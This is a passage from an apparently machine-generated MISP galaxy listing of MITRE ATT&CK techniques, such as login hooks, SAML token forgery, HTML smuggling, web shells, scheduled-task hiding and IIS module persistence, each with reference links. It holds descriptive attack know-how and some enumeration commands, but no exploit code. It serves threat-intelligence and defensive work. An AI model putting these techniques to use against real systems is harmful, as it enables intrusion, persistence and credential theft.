<td><a href="https://attack.mitre.org/techniques/T1205/002">https://attack.mitre.org/techniques/T1205/002</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/">https://www.crowdstrike.com/blog/how-to-hunt-for-decisivearchitect-and-justforfun-implant/</a></td>
</tr>
<tr>
<td><a href="https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf">https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf</a></td>
</tr>
</tbody>
</table>

### Software Packing - T1027.002

Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable’s original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code. (Citation: ESET FinFisher Jan 2018)

Utilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. (Citation: Awesome Executable Packing)

The tag is: **misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002"**

### Table 5541. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/002">https://attack.mitre.org/techniques/T1027/002</a></td>
</tr>
<tr>
<td><a href="https://github.com/dhondta/awesome-executable-packing">https://github.com/dhondta/awesome-executable-packing</a></td>
</tr>
</tbody>
</table>

### Malicious Image - T1204.003

Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the
image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)

The tag is: `misp-galaxy:mitre-attack-pattern="Malicious Image - T1204.003"`

---

### File Deletion - T1630.002

Adversaries may wipe a device or delete individual files in order to manipulate external outcomes or hide activity. An application must have administrator access to fully wipe the device, while individual files may not require special permissions to delete depending on their storage location.(Citation: Android DevicePolicyManager 2019)

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The impact file deletion will have depends on the type of data as well as the goals and objectives of the adversary, but can include deleting update files to evade detection or deleting attacker-specified files for impact.

The tag is: `misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002"`

---

### Login Hook - T1037.002

Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist
file is located in the `<code>/Library/Preferences/com.apple.loginwindow.plist</code>` file and can be modified using the `<code>defaults</code>` command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks. (Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev)

Adversaries can add or insert a path to a malicious script in the `<code>/Library/Preferences/com.apple.loginwindow.plist</code>` file, using the `<code>LoginHook</code>` or `<code>LogoutHook</code>` key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time. (Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)

**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001)

The tag is: `misp-galaxy:mitre-attack-pattern="Login Hook - T1037.002"

### Software Packing - T1406.002

Adversaries may perform software packing to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.

Utilities used to perform software packing are called packers. An example packer is FTT. A more comprehensive list of known packers is available, but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.

The tag is: `misp-galaxy:mitre-attack-pattern="Software Packing - T1406.002"

### Table 5544. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1037/002">https://attack.mitre.org/techniques/T1037/002</a></td>
</tr>
<tr>
<td><a href="https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf">https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf</a></td>
</tr>
</tbody>
</table>

### Table 5545. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1406/002">https://attack.mitre.org/techniques/T1406/002</a></td>
</tr>
</tbody>
</table>
Transport Agent - T1505.002

Adversaries may abuse Microsoft transport agents to establish persistent access to systems. Microsoft Exchange transport agents can operate on email messages passing through the transport pipeline to perform various tasks such as filtering spam, filtering malicious attachments, journaling, or adding a corporate signature to the end of all outgoing emails. (Citation: Microsoft TransportAgent Jun 2016) (Citation: ESET LightNeuron May 2019) Transport agents can be written by application developers and then compiled to .NET assemblies that are subsequently registered with the Exchange server. Transport agents will be invoked during a specified stage of email processing and carry out developer defined tasks.

Adversaries may register a malicious transport agent to provide a persistence mechanism in Exchange Server that can be triggered by adversary-specified email events. (Citation: ESET LightNeuron May 2019) Though a malicious transport agent may be invoked for all emails passing through the Exchange transport pipeline, the agent can be configured to only carry out specific tasks in response to adversary defined criteria. For example, the transport agent may only carry out an action like copying in-transit attachments and saving them for later exfiltration if the recipient email address matches an entry on a list provided by the adversary.

The tag is: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002"

<table>
<thead>
<tr>
<th>Table 5546. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1505/002">https://attack.mitre.org/techniques/T1505/002</a></td>
</tr>
</tbody>
</table>

SAML Tokens - T1606.002

An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate. (Citation: Microsoft SolarWinds Steps) The default lifetime of a SAML token is one hour, but the validity period can be specified in the <code>NotOnOrAfter</code> value of the <code>conditions</code> element in a token. This value can be changed using the <code>AccessTokenLifetime</code> in a <code>LifetimeTokenPolicy</code>. (Citation: Microsoft SAML Token Lifetimes) Forged SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism. (Citation: Cyberark Golden SAML)

An adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate. (Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.
An adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms. (Citation: Microsoft SolarWinds Customer Guidance)

The tag is: *misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002"

Table 5547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1606/002">https://attack.mitre.org/techniques/T1606/002</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes">https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-configurable-token-lifetimes</a></td>
</tr>
<tr>
<td><a href="https://www.sygnia.co/golden-saml-advisory">https://www.sygnia.co/golden-saml-advisory</a></td>
</tr>
</tbody>
</table>

**HTML Smuggling - T1027.006**

Adversaries may smuggle data and files past content filters by hiding malicious payloads inside of seemingly benign HTML files. HTML documents can store large binary objects known as JavaScript Blobs (immutable data that represents raw bytes) that can later be constructed into file-like objects. Data may also be stored in Data URLs, which enable embedding media type or MIME files inline of HTML documents. HTML5 also introduced a download attribute that may be used to initiate file downloads. (Citation: HTML Smuggling Menlo Security 2020)(Citation: Outflank HTML Smuggling 2018)

Adversaries may deliver payloads to victims that bypass security controls through HTML Smuggling by abusing JavaScript Blobs and/or HTML5 download attributes. Security controls such as web content filters may not identify smuggled malicious files inside of HTML/JS files, as the content may be based on typically benign MIME types such as `<code>text/plain</code>` and/or `<code>text/html</code>`. Malicious files or data can be obfuscated and hidden inside of HTML files through Data URLs and/or JavaScript Blobs and can be deobfuscated when they reach the victim (i.e. [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)), potentially bypassing content filters.

For example, JavaScript Blobs can be abused to dynamically generate malicious files in the victim machine and may be dropped to disk by abusing JavaScript functions such as `<code>msSaveBlob</code>`.(Citation: HTML Smuggling Menlo Security 2020)(Citation: MSTIC NOBELIUM May 2021)(Citation: Outflank HTML Smuggling 2018)(Citation: nccgroup Smuggling HTA 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="HTML Smuggling - T1027.006"*
Upload Tool - T1608.002

Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.

Tools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)

Adversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.

The tag is: **misp-galaxy:mitre-attack-pattern="Upload Tool - T1608.002"**
**Domain Groups - T1069.002**

Adversaries may attempt to find domain-level groups and permission settings. The knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group. Adversaries may use this information to determine which users have elevated permissions, such as domain administrators.

Commands such as `<code>net group /domain</code>` of the [Net](https://attack.mitre.org/software/S0039) utility, `<code>dscacheutil -q group</code>` on macOS, and `<code>ldapsearch</code>` on Linux can list domain-level groups.

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002"`

**Table 5550. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1069/002">https://attack.mitre.org/techniques/T1069/002</a></td>
</tr>
</tbody>
</table>

**Domain Accounts - T1078.002**

Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion.(Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002"`

**Table 5551. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1078/002">https://attack.mitre.org/techniques/T1078/002</a></td>
</tr>
<tr>
<td><a href="https://ubuntu.com/server/docs/service-sssd">https://ubuntu.com/server/docs/service-sssd</a></td>
</tr>
</tbody>
</table>

**Domain Account - T1087.002**

Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.
Commands such as `<code>net user /domain</code>` and `<code>net group /domain</code>` of the [Net](https://attack.mitre.org/software/S0039) utility, `<code>dscacheutil -q group</code>` on macOS, and `<code>ldapsearch</code>` on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including `<code>Get-ADUser</code>` and `<code>Get-ADGroupMember</code>` may enumerate members of Active Directory groups.

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002"`

<table>
<thead>
<tr>
<th>Table 5552. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1087/002">Links</a></td>
</tr>
</tbody>
</table>

**Stripped Payloads - T1027.008**

Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s [linker](https://attack.mitre.org/techniques/T1059/002) when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)

Adversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)

The tag is: `misp-galaxy:mitre-attack-pattern="Stripped Payloads - T1027.008"`

<table>
<thead>
<tr>
<th>Table 5553. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/008">Links</a></td>
</tr>
<tr>
<td><a href="https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/">Links</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery">Links</a></td>
</tr>
<tr>
<td><a href="https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/">Links</a></td>
</tr>
</tbody>
</table>

**Embedded Payloads - T1027.009**

Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting
execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs)

Adversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage)

For example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021)

Embedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)

The tag is: `misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009"`

Table 5554. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/009">https://attack.mitre.org/techniques/T1027/009</a></td>
</tr>
<tr>
<td><a href="https://github.com/peewpw/Invoke-PSImage">https://github.com/peewpw/Invoke-PSImage</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ee812ab9a4d1">https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ee812ab9a4d1</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/my-name-is-dtrack/93338/">https://securelist.com/my-name-is-dtrack/93338/</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a">https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a</a></td>
</tr>
</tbody>
</table>

**RC Scripts - T1037.004**

Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries can establish persistence by adding a malicious binary path or shell commands to `<code>rc.local</code>`, `<code>rc.common</code>`, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the
root user as default, such as IoT or embedded systems.

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)

The tag is: *misp-galaxy:mitre-attack-pattern="RC Scripts - T1037.004"*

**Table 5555. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1037/004">https://attack.mitre.org/techniques/T1037/004</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html</a></td>
</tr>
</tbody>
</table>

**Scheduled Task - T1053.005**

Adversaries may abuse the Windows Task Scheduler to perform task scheduling for initial or recurring execution of malicious code. There are multiple ways to access the Task Scheduler in Windows. The [schtasks](https://attack.mitre.org/software/S0111) utility can be run directly on the command line, or the Task Scheduler can be opened through the GUI within the Administrator Tools section of the Control Panel. In some cases, adversaries have used a .NET wrapper for the Windows Task Scheduler, and alternatively, adversaries have used the Windows netapi32 library to create a scheduled task.

The deprecated [at](https://attack.mitre.org/software/S0110) utility could also be abused by adversaries (ex: [At](https://attack.mitre.org/techniques/T1053/002)), though `<code>at.exe</code>` can not access tasks created with `<code>schtasks</code>` or the Control Panel.

An adversary may use Windows Task Scheduler to execute programs at system startup or on a scheduled basis for persistence. The Windows Task Scheduler can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused the Windows Task Scheduler to potentially mask one-time execution under signed/trusted system processes.(Citation: ProofPoint Serpent)
Adversaries may also create "hidden" scheduled tasks (i.e. [Hide Artifacts](https://attack.mitre.org/techniques/T1564)) that may not be visible to defender tools and manual queries used to enumerate tasks. Specifically, an adversary may hide a task from `schtasks /query` and the Task Scheduler by deleting the associated Security Descriptor (SD) registry value (where deletion of this value must be completed using SYSTEM permissions).(Citation: SigmaHQ)(Citation: Tarrask scheduled task) Adversaries may also employ alternate methods to hide tasks, such as altering the metadata (e.g., Index value) within associated registry keys.(Citation: Defending Against Scheduled Task Attacks in Windows Environments)

The tag is: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"`

**Table 5556. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1053/005">https://attack.mitre.org/techniques/T1053/005</a></td>
</tr>
<tr>
<td><a href="https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments">https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events">https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/audit-other-object-access-events</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/leoloobeek/status/939248813465853953">https://twitter.com/leoloobeek/status/939248813465853953</a></td>
</tr>
</tbody>
</table>

**Web Shell - T1505.003**

Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)

In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)

The tag is: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"`
Systemd Timers - T1053.006

Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension `<code>.timer</code>` that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments. Systemd timers may be activated remotely via the `<code>systemctl</code>` command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004). Privileged timers are written to `<code>/etc/systemd/system/</code>` and `<code>/usr/lib/systemd/system</code>` while user level are written to `<code>~/.config/systemd/user/</code>`.

An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence. Privileged timers are written to `<code>/etc/systemd/system/</code>` and `<code>/usr/lib/systemd/system/</code>` while user level are written to `<code>~/.config/systemd/user/</code>`.

The tag is: `misp-galaxy:mitre-attack-pattern="Systemd Timers - T1053.006"`
Startup Items - T1037.005

Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)

This is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory.

An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.

The tag is: misp-galaxy:mitre-attack-pattern="Startup Items - T1037.005"

Table 5559. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1037/005">https://attack.mitre.org/techniques/T1037/005</a></td>
</tr>
<tr>
<td><a href="https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html">https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html</a></td>
</tr>
</tbody>
</table>

Cloud Groups - T1069.003

Adversaries may attempt to find cloud groups and permission settings. The knowledge of cloud permission groups can help adversaries determine the particular roles of users and groups within an environment, as well as which users are associated with a particular group.

With authenticated access there are several tools that can be used to find permissions groups. The <code>Get-MsolRole</code> PowerShell cmdlet can be used to obtain roles and permissions groups for Exchange and Office 365 accounts (Citation: Microsoft Msolrole)(Citation: GitHub Raindance).
Azure CLI (AZ CLI) and the Google Cloud Identity Provider API also provide interfaces to obtain permissions groups. The command `az ad user get-member-groups` will list groups associated to a user account for Azure while the API endpoint `GET https://cloudidentity.googleapis.com/v1/groups` lists group resources available to a user for Google. (Citation: Microsoft AZ CLI) (Citation: Black Hills Red Teaming MS AD Azure, 2018) (Citation: Google Cloud Identity API Documentation) In AWS, the commands `ListRolePolicies` and `ListAttachedRolePolicies` allow users to enumerate the policies attached to a role. (Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)

Adversaries may attempt to list ACLs for objects to determine the owner and other accounts with access to the object, for example, via the AWS `GetBucketAcl` API. (Citation: AWS Get Bucket ACL) Using this information an adversary can target accounts with permissions to a given object or leverage accounts they have already compromised to access the object.

The tag is: `misp-galaxy:mitre-attack-pattern=Cloud Groups - T1069.003`

**Table 5560. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1069/003">https://attack.mitre.org/techniques/T1069/003</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/identity/docs/reference/rest">https://cloud.google.com/identity/docs/reference/rest</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html">https://docs.aws.amazon.com/AmazonS3/latest/API/API_GetBucketAcl.html</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest">https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest</a></td>
</tr>
<tr>
<td><a href="https://github.com/True-Demon/raindance">https://github.com/True-Demon/raindance</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/">https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/</a></td>
</tr>
</tbody>
</table>

**Email Account - T1087.003**

Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs). (Citation: Microsoft Exchange Address Lists)

In on-premises Exchange and Exchange Online, the `Get-GlobalAddressList` PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session. (Citation: Microsoft getglobaladdresslist) (Citation: Black Hills Attacking Exchange MailSniper, 2016)

In Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization. (Citation: Google Workspace Global Access List)
Local Accounts - T1078.003

Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

Local Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

The tag is: `misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003"`

IIS Components - T1505.004

Adversaries may install malicious components that run on Internet Information Services (IIS) web servers to establish persistence. IIS provides several mechanisms to extend the functionality of the web servers. For example, Internet Server Application Programming Interface (ISAPI) extensions and filters can be installed to examine and/or modify incoming and outgoing IIS web requests. Extensions and filters are deployed as DLL files that export three functions: `<code>Get{Extension/Filter}Version</code>`, `<code>Http{Extension/Filter}Proc</code>`, and (optionally) `<code>Terminate{Extension/Filter}</code>`. IIS modules may also be installed to extend IIS web servers.(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Filter Overview 2017)(Citation: IIS Backdoor 2011)(Citation: Trustwave IIS Module 2013)

Adversaries may install malicious ISAPI extensions and filters to observe and/or modify traffic, execute commands on compromised machines, or proxy command and control traffic. ISAPI extensions and filters may have access to all IIS web requests and responses. For example, an
adversary may abuse these mechanisms to modify HTTP responses in order to distribute malicious commands/content to previously comprised hosts. (Citation: Microsoft ISAPI Filter Overview 2017)(Citation: Microsoft ISAPI Extension Overview 2017)(Citation: Microsoft ISAPI Extension All Incoming 2017)(Citation: Dell TG-3390)(Citation: Trustwave IIS Module 2013)(Citation: MMPC ISAPI Filter 2012)

Adversaries may also install malicious IIS modules to observe and/or modify traffic. IIS 7.0 introduced modules that provide the same unrestricted access to HTTP requests and responses as ISAPI extensions and filters. IIS modules can be written as a DLL that exports <code>RegisterModule</code>, or as a .NET application that interfaces with ASP.NET APIs to access IIS HTTP requests. (Citation: Microsoft IIS Modules Overview 2007)(Citation: Trustwave IIS Module 2013)(Citation: ESET IIS Malware 2021)

The tag is: misp-galaxy:mitre-attack-pattern="IIS Components - T1505.004"

Table 5563. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1505/004">https://attack.mitre.org/techniques/T1505/004</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview">https://docs.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)">https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms524610(v=vs.90)</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)">https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525172(v=vs.90)</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)">https://docs.microsoft.com/en-us/previous-versions/iis/6.0-sdk/ms525696(v=vs.90)</a></td>
